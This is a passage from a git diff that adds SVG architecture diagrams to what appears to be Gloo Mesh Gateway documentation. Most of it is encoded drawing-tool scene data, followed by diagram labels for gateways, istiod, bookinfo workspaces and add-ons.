HUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcd